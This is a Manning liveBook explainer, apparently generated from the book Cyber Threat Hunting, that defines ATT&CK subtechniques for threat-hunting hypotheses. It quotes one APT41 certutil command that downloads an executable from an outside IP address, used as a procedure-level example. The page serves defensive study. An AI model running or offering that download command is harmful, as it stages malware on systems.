liveBook · Manning

Subtechnique

As explained in Cyber Threat Hunting

A subtechnique is a more specific behavioral subdivision of an adversary technique in a threat-behavior taxonomy.

A subtechnique is a specific adversarial behavior used to achieve a goal at a lower level than a technique. It helps threat hunters turn broad behaviors into focused detection hypotheses. section 2.6

Use the ATT&CK hierarchy to place behavior in context:

  • Tactics describe why an adversary acts. section 2.6
  • Techniques describe how an adversary achieves that goal. section 2.6
  • Subtechniques specify the lower-level behavior, such as PowerShell or Windows Command Shell under Command and Scripting Interpreter. section 2.6
  • Procedures record concrete implementations used for a technique or subtechnique. section 2.6

Threat-hunting example

A hunt can target T1059.001, Command and Scripting Interpreter: PowerShell, or T1059.003, Windows Command Shell, instead of treating command execution as one undifferentiated behavior. section 2.6

Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe

Use the concrete command as an example of the procedure level beneath a behavioral classification. section 2.6

How Cyber Threat Hunting covers it

How deep it goes
Defines the tactic-to-procedure hierarchy and gives labeled subtechnique examples without detailing implementation internals.
Examples
Uses PowerShell, Windows Command Shell, T1059.001, T1059.003, and an APT41 certutil command.
What you can do after
Evaluate/understand adversary behavior at a level suitable for focused hunting hypotheses and detections.
How it connects
Connects tactics, techniques, procedures, threat hunting, detection rules, and command execution.
Cover of Cyber Threat Hunting
liveBookmanning.com
Read Cyber Threat Hunting on liveBook Get the book at manning.com

Related concepts

This explainer was generated by Manning's knowledge graph from the text of Cyber Threat Hunting. The section links point to the parts of the book it draws on.